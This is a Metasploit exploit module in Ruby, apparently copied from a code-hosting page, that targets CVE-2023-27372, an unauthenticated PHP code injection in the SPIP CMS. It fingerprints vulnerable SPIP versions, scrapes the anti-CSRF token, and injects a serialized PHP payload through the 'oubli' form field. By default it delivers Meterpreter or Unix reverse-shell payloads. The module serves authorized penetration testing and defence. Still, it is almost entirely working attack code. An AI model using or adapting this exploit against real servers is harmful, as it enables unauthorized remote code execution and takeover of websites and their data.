165 lines
5.3 KiB
Ruby
165 lines
5.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'SPIP form PHP Injection',
|
|
'Description' => %q{
|
|
This module exploits a PHP code injection in SPIP. The vulnerability exists in the
|
|
oubli parameter and allows an unauthenticated user to execute arbitrary commands
|
|
with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions
|
|
are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.
|
|
},
|
|
'Author' => [
|
|
'coiffeur', # Initial discovery
|
|
'Laluka', # PoC
|
|
'Julien Voisin' # MSF module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-2-1-SPIP-4-1-8-SPIP-4-0-10-et.html' ],
|
|
[ 'URL', 'https://therealcoiffeur.com/c11010' ],
|
|
[ 'CVE', '2023-27372' ],
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => %w[php linux unix],
|
|
'Arch' => [ARCH_PHP, ARCH_CMD],
|
|
'Targets' => [
|
|
[
|
|
'Automatic (PHP In-Memory)',
|
|
{
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
|
|
'Type' => :php_memory,
|
|
'Payload' => {
|
|
'BadChars' => "\x22\x00"
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Automatic (Unix In-Memory)',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
|
|
'Type' => :unix_memory,
|
|
'Payload' => {
|
|
'BadChars' => "\x22\x00\x27"
|
|
}
|
|
}
|
|
],
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2023-02-27'
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
uri = normalize_uri(target_uri.path, 'spip.php')
|
|
res = send_request_cgi({ 'uri' => uri.to_s })
|
|
|
|
return Exploit::CheckCode::Unknown('Target is unreachable.') unless res
|
|
return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200
|
|
|
|
version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text
|
|
return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/
|
|
|
|
version = ::Regexp.last_match(1)
|
|
|
|
if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/
|
|
version = ::Regexp.last_match(1)
|
|
end
|
|
|
|
return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version
|
|
|
|
print_status("SPIP Version detected: #{version}")
|
|
|
|
rversion = Rex::Version.new(version)
|
|
if rversion >= Rex::Version.new('4.2.0')
|
|
if rversion < Rex::Version.new('4.2.1')
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
elsif rversion >= Rex::Version.new('4.1.0')
|
|
if rversion < Rex::Version.new('4.1.18')
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
elsif rversion >= Rex::Version.new('4.0.0')
|
|
if rversion < Rex::Version.new('4.0.10')
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
elsif rversion >= Rex::Version.new('3.2.0')
|
|
if rversion < Rex::Version.new('3.2.18')
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def execute_command(cmd, args = {})
|
|
send_request_cgi(
|
|
{
|
|
'uri' => args['uri'],
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'page' => 'spip_pass',
|
|
'lang' => 'fr',
|
|
'formulaire_action' => 'oubli',
|
|
'formulaire_action_args' => args['csrf'],
|
|
'oubli' => cmd
|
|
}
|
|
}
|
|
)
|
|
end
|
|
|
|
def exploit
|
|
uri = normalize_uri(target_uri.path, 'spip.php?page=spip_pass&lang=fr')
|
|
res = send_request_cgi({ 'uri' => uri })
|
|
|
|
fail_with(Msf::Exploit::Failure::Unreachable, "The request to uri: #{uri} did not respond") unless res
|
|
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Got an http code that isn't 200: #{res.code}, when sending a request to uri: #{uri}") unless res&.code == 200
|
|
|
|
csrf = ''
|
|
unless (node = res.get_html_document.xpath('//form//input[@name="formulaire_action_args"]')).empty?
|
|
csrf = node.first['value']
|
|
end
|
|
|
|
print_status("Got anti-csrf token: #{csrf}")
|
|
|
|
print_status("#{rhost}:#{rport} - Attempting to exploit...")
|
|
|
|
oubli = ''
|
|
case target['Type']
|
|
when :php_memory
|
|
oubli = "s:#{payload.encoded.length + 6 + 2}:\"<?php #{payload.encoded}?>\";"
|
|
when :unix_memory
|
|
oubli = "s:#{payload.encoded.length + 14 + 4}:\"<?php system('#{payload.encoded}')?>\";"
|
|
end
|
|
execute_command(oubli, { 'uri' => uri, 'csrf' => csrf })
|
|
end
|
|
end
|